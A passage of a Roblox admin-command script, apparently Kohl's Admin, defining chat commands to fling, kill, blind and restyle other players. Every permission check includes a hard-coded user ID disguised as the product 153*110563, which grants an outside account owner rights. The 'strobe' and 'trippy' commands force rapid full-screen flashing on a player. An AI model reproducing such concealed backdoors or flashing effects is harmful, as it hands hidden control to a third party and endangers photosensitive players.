  1532. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1533. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1534. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1535. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1536. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1537. end
  1538. end))
  1539. end
  1540. end
  1541.  
  1542. if msg:lower():sub(1,8) == "creeper " then
  1543. local plrz = GetPlr(plr, msg:lower():sub(9))
  1544. for i, v in pairs(plrz) do
  1545. coroutine.resume(coroutine.create(function()
  1546. if v and v.Character and v.Character:findFirstChild("Torso") then
  1547. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1548. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1549. v.Character.Torso.Transparency = 0
  1550. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1551. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1552. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1553. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1554. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1555. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1556. end
  1557. end))
  1558. end
  1559. end
  1560.  
  1561. if msg:lower():sub(1,10) == "uncreeper " then
  1562. local plrz = GetPlr(plr, msg:lower():sub(11))
  1563. for i, v in pairs(plrz) do
  1564. coroutine.resume(coroutine.create(function()
  1565. if v and v.Character and v.Character:findFirstChild("Torso") then
  1566. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1567. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1568. v.Character.Torso.Transparency = 0
  1569. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1570. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1571. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1572. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1573. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1574. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1575. end
  1576. end))
  1577. end
  1578. end
  1579.  
  1580. if msg:lower():sub(1,8) == "bighead " then
  1581. local plrz = GetPlr(plr, msg:lower():sub(9))
  1582. for i, v in pairs(plrz) do
  1583. coroutine.resume(coroutine.create(function()
  1584. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1585. end))
  1586. end
  1587. end
  1588.  
  1589. if msg:lower():sub(1,9) == "minihead " then
  1590. local plrz = GetPlr(plr, msg:lower():sub(10))
  1591. for i, v in pairs(plrz) do
  1592. coroutine.resume(coroutine.create(function()
  1593. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1594. end))
  1595. end
  1596. end
  1597.  
  1598. if msg:lower():sub(1,6) == "fling " then
  1599. local plrz = GetPlr(plr, msg:lower():sub(7))
  1600. for i, v in pairs(plrz) do
  1601. coroutine.resume(coroutine.create(function()
  1602. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1603. local xran local zran
  1604. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1605. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1606. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1607. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1608. end
  1609. end))
  1610. end
  1611. end
  1612.  
  1613. if msg:lower():sub(1,8) == "seizure " then
  1614. local plrz = GetPlr(plr, msg:lower():sub(9))
  1615. for i, v in pairs(plrz) do
  1616. coroutine.resume(coroutine.create(function()
  1617. if v and v.Character then
  1618. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1619. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1620. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1621. end
  1622. end))
  1623. end
  1624. end
  1625.  
  1626. if msg:lower():sub(1,10) == "unseizure " then
  1627. local plrz = GetPlr(plr, msg:lower():sub(11))
  1628. for i, v in pairs(plrz) do
  1629. coroutine.resume(coroutine.create(function()
  1630. if v and v.Character then
  1631. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1632. wait(.1) v.Character.Humanoid.PlatformStand = false
  1633. end
  1634. end))
  1635. end
  1636. end
  1637.  
  1638. if msg:lower():sub(1,12) == "removelimbs " then
  1639. local plrz = GetPlr(plr, msg:lower():sub(13))
  1640. for i, v in pairs(plrz) do
  1641. coroutine.resume(coroutine.create(function()
  1642. if v and v.Character then
  1643. for a, obj in pairs(v.Character:children()) do
  1644. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1645. end
  1646. end
  1647. end))
  1648. end
  1649. end
  1650.  
  1651. if msg:lower():sub(1,5) == "name " then
  1652. local chk1 = msg:lower():sub(6):find(" ") + 5
  1653. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1654. for i, v in pairs(plrz) do
  1655. coroutine.resume(coroutine.create(function()
  1656. if v and v.Character and v.Character:findFirstChild("Head") then
  1657. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1658. local char = v.Character
  1659. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1660. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1661. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1662. char.Head.Transparency = 1
  1663. end
  1664. end))
  1665. end
  1666. end
  1667.  
  1668. if msg:lower():sub(1,7) == "unname " then
  1669. local plrz = GetPlr(plr, msg:lower():sub(8))
  1670. for i, v in pairs(plrz) do
  1671. coroutine.resume(coroutine.create(function()
  1672. if v and v.Character and v.Character:findFirstChild("Head") then
  1673. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1674. end
  1675. end))
  1676. end
  1677. end
  1678.  
  1679. if msg:lower():sub(1,5) == "char " then
  1680. local chk1 = msg:lower():sub(6):find(" ") + 5
  1681. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1682. for i, v in pairs(plrz) do
  1683. coroutine.resume(coroutine.create(function()
  1684. if v and v.Character then
  1685. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1686. v:LoadCharacter()
  1687. end
  1688. end))
  1689. end
  1690. end
  1691.  
  1692. if msg:lower():sub(1,7) == "unchar " then
  1693. local plrz = GetPlr(plr, msg:lower():sub(8))
  1694. for i, v in pairs(plrz) do
  1695. coroutine.resume(coroutine.create(function()
  1696. if v and v.Character then
  1697. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1698. v:LoadCharacter()
  1699. end
  1700. end))
  1701. end
  1702. end
  1703.  
  1704. if msg:lower():sub(1,7) == "infect " then
  1705. local plrz = GetPlr(plr, msg:lower():sub(8))
  1706. for i, v in pairs(plrz) do
  1707. coroutine.resume(coroutine.create(function()
  1708. if v and v.Character then
  1709. Infect(v.Character)
  1710. end
  1711. end))
  1712. end
  1713. end
  1714.  
  1715. if msg:lower():sub(1,11) == "rainbowify " then
  1716. local plrz = GetPlr(plr, msg:lower():sub(12))
  1717. for i, v in pairs(plrz) do
  1718. coroutine.resume(coroutine.create(function()
  1719. if v and v.Character and v.Character:findFirstChild("Torso") then
  1720. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1721. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1722. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1723. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1724. cl.Parent = v.Character cl.Disabled = false
  1725. end
  1726. end))
  1727. end
  1728. end
  1729.  
  1730. if msg:lower():sub(1,9) == "flashify " then
  1731. local plrz = GetPlr(plr, msg:lower():sub(10))
  1732. for i, v in pairs(plrz) do
  1733. coroutine.resume(coroutine.create(function()
  1734. if v and v.Character and v.Character:findFirstChild("Torso") then
  1735. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1736. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1737. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1738. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1739. cl.Parent = v.Character cl.Disabled = false
  1740. end
  1741. end))
  1742. end
  1743. end
  1744.  
  1745. if msg:lower():sub(1,8) == "noobify " then
  1746. local plrz = GetPlr(plr, msg:lower():sub(9))
  1747. for i, v in pairs(plrz) do
  1748. coroutine.resume(coroutine.create(function()
  1749. if v and v.Character then
  1750. Noobify(v.Character)
  1751. end
  1752. end))
  1753. end
  1754. end
  1755.  
  1756. if msg:lower():sub(1,9) == "ghostify " then
  1757. local plrz = GetPlr(plr, msg:lower():sub(10))
  1758. for i, v in pairs(plrz) do
  1759. coroutine.resume(coroutine.create(function()
  1760. if v and v.Character and v.Character:findFirstChild("Torso") then
  1761. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1762. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1763. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1764. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1765. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1766. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1767. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1768. end end
  1769. end
  1770. end))
  1771. end
  1772. end
  1773.  
  1774. if msg:lower():sub(1,8) == "goldify " then
  1775. local plrz = GetPlr(plr, msg:lower():sub(9))
  1776. for i, v in pairs(plrz) do
  1777. coroutine.resume(coroutine.create(function()
  1778. if v and v.Character and v.Character:findFirstChild("Torso") then
  1779. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1780. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1781. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1782. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1783. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1784. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1785. end end
  1786. end
  1787. end))
  1788. end
  1789. end
  1790.  
  1791. if msg:lower():sub(1,6) == "shiny " then
  1792. local plrz = GetPlr(plr, msg:lower():sub(7))
  1793. for i, v in pairs(plrz) do
  1794. coroutine.resume(coroutine.create(function()
  1795. if v and v.Character and v.Character:findFirstChild("Torso") then
  1796. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1797. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1798. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1799. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1800. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1801. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1802. end end
  1803. end
  1804. end))
  1805. end
  1806. end
  1807.  
  1808. if msg:lower():sub(1,7) == "normal " then
  1809. local plrz = GetPlr(plr, msg:lower():sub(8))
  1810. for i, v in pairs(plrz) do
  1811. coroutine.resume(coroutine.create(function()
  1812. if v and v.Character and v.Character:findFirstChild("Torso") then
  1813. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1814. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1815. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1816. v.Character.Torso.Transparency = 0
  1817. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1818. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1819. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1820. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1821. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1822. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1823. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1824. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1825. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1826. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1827. end end
  1828. end
  1829. end))
  1830. end
  1831. end
  1832.  
  1833. if msg:lower():sub(1,7) == "trippy " then
  1834. local plrz = GetPlr(plr, msg:lower():sub(8))
  1835. for i, v in pairs(plrz) do
  1836. coroutine.resume(coroutine.create(function()
  1837. if v and v:findFirstChild("PlayerGui") then
  1838. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1839. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1840. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1841. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1842. end
  1843. end))
  1844. end
  1845. end
  1846.  
  1847. if msg:lower():sub(1,9) == "untrippy " then
  1848. local plrz = GetPlr(plr, msg:lower():sub(10))
  1849. for i, v in pairs(plrz) do
  1850. coroutine.resume(coroutine.create(function()
  1851. if v and v:findFirstChild("PlayerGui") then
  1852. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1853. end
  1854. end))
  1855. end
  1856. end
  1857.  
  1858. if msg:lower():sub(1,7) == "strobe " then
  1859. local plrz = GetPlr(plr, msg:lower():sub(8))
  1860. for i, v in pairs(plrz) do
  1861. coroutine.resume(coroutine.create(function()
  1862. if v and v:findFirstChild("PlayerGui") then
  1863. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1864. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1865. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1866. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1867. end
  1868. end))
  1869. end
  1870. end
  1871.  
  1872. if msg:lower():sub(1,9) == "unstrobe " then
  1873. local plrz = GetPlr(plr, msg:lower():sub(10))
  1874. for i, v in pairs(plrz) do
  1875. coroutine.resume(coroutine.create(function()
  1876. if v and v:findFirstChild("PlayerGui") then
  1877. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1878. end
  1879. end))
  1880. end
  1881. end
  1882.  
  1883. if msg:lower():sub(1,6) == "blind " then
  1884. local plrz = GetPlr(plr, msg:lower():sub(7))
  1885. for i, v in pairs(plrz) do
  1886. coroutine.resume(coroutine.create(function()
  1887. if v and v:findFirstChild("PlayerGui") then
  1888. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1889. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1890. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1891. end
  1892. end))
  1893. end
  1894. end
  1895.  
  1896. if msg:lower():sub(1,8) == "unblind " then
  1897. local plrz = GetPlr(plr, msg:lower():sub(9))
  1898. for i, v in pairs(plrz) do
  1899. coroutine.resume(coroutine.create(function()
  1900. if v and v:findFirstChild("PlayerGui") then
  1901. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1902. end
  1903. end))
  1904. end
  1905. end
  1906.  
  1907. if msg:lower():sub(1,7) == "guifix " then
  1908. local plrz = GetPlr(plr, msg:lower():sub(8))
  1909. for i, v in pairs(plrz) do
  1910. coroutine.resume(coroutine.create(function()
  1911. if v and v:findFirstChild("PlayerGui") then
  1912. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1913. end
  1914. end))
  1915. end
  1916. end
  1917.  
  1918. if msg:lower():sub(1,9) == "loopheal " then
  1919. local plrz = GetPlr(plr, msg:lower():sub(10))
  1920. for i, v in pairs(plrz) do
  1921. if v then
  1922. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1923. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1924. repeat wait()
  1925. coroutine.resume(coroutine.create(function()
  1926. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1927. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1928. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1929. end
  1930. end))
  1931. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1932. end
  1933. end
  1934. end
  1935.  
  1936. if msg:lower():sub(1,11) == "unloopheal " then
  1937. local plrz = GetPlr(plr, msg:lower():sub(12))
  1938. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1939. end
  1940.  
  1941. if msg:lower():sub(1,10) == "loopfling " then
  1942. local plrz = GetPlr(plr, msg:lower():sub(11))
  1943. for i, v in pairs(plrz) do
  1944. if v then
  1945. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1946. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1947. repeat
  1948. coroutine.resume(coroutine.create(function()
  1949. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1950. local xran local zran
  1951. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1952. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1953. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1954. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1955. end
  1956. end))
  1957. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1958. end
  1959. end
  1960. end
  1961.  
  1962. if msg:lower():sub(1,12) == "unloopfling " then
  1963. local plrz = GetPlr(plr, msg:lower():sub(13))
  1964. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1965. end
  1966.  
  1967. end
  1968.  
  1969. -------------------------
  1970. -- True Owner Commands --
  1971. -------------------------
  1972.  
  1973. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  1974.  
  1975. if msg:lower():sub(1,3) == "oa " then
  1976. local plrz = GetPlr(plr, msg:lower():sub(4))
  1977. for i, v in pairs(plrz) do
  1978. coroutine.resume(coroutine.create(function()
  1979. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1980. end))
  1981. end
  1982. end
  1983.  
  1984. if msg:lower():sub(1,5) == "unoa " then
  1985. for i = 1, #owners do
  1986. coroutine.resume(coroutine.create(function()
  1987. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  1988. end))
  1989. end
  1990. end
  1991.  
  1992. end
  1993.  
  1994. --------------------
  1995. -- Owner Commands --
  1996. --------------------
  1997.  
  1998. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1999.  
  2000. if msg:lower():sub(1,3) == "pa " then
  2001. local plrz = GetPlr(plr, msg:lower():sub(4))
  2002. for i, v in pairs(plrz) do
  2003. coroutine.resume(coroutine.create(function()
  2004. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2005. end))
  2006. end
  2007. end
  2008.  
  2009. if msg:lower():sub(1,5) == "unpa " then
  2010. for i = 1, #admins do
  2011. coroutine.resume(coroutine.create(function()
  2012. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2013. end))
  2014. end
  2015. end
  2016.  
  2017. end
  2018.  
  2019. --------------------------
  2020. -- Super Admin Commands --
  2021. --------------------------
  2022.  
  2023. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2024.  
  2025. if msg:lower() == "logs" then
  2026. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2027. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2028. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2029. end
  2030.  
  2031. if msg:lower():sub(1,9) == "loopkill " then
  2032. local chk1 = msg:lower():sub(10):find(" ")
  2033. local plrz = GetPlr(plr, msg:lower():sub(10))
  2034. local num = 9999
  2035. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2036. for i, v in pairs(plrz) do
  2037. if v and not ChkAdmin(v.Name, false) then
  2038. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2039. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2040. for i = 1, ]] .. tostring(num) .. [[ do
  2041. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2042. coroutine.resume(coroutine.create(function()
  2043. if plr and plr.Character then plr.Character:BreakJoints() end
  2044. end))
  2045. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2046. end
  2047. end
  2048. end
  2049.  
  2050. if msg:lower():sub(1,11) == "unloopkill " then
  2051. local plrz = GetPlr(plr, msg:lower():sub(12))
  2052. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2053. end
  2054.  
  2055. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2056. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2057.  
  2058. if msg:lower():sub(1,3) == "sm " then
  2059. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2060. end
  2061.  
  2062. if msg:lower():sub(1,3) == "ko " then
  2063. local chk1 = msg:lower():sub(4):find(" ") + 3
  2064. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2065. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2066. for n = 1, num do
  2067. for i, v in pairs(plrz) do
  2068. coroutine.resume(coroutine.create(function()
  2069. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2070. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2071. v.Character:BreakJoints()
  2072. wait(1/44)
  2073. v:LoadCharacter()
  2074. wait(1/44)
  2075. end
  2076. end))
  2077. end
  2078. end
  2079. end
  2080.  
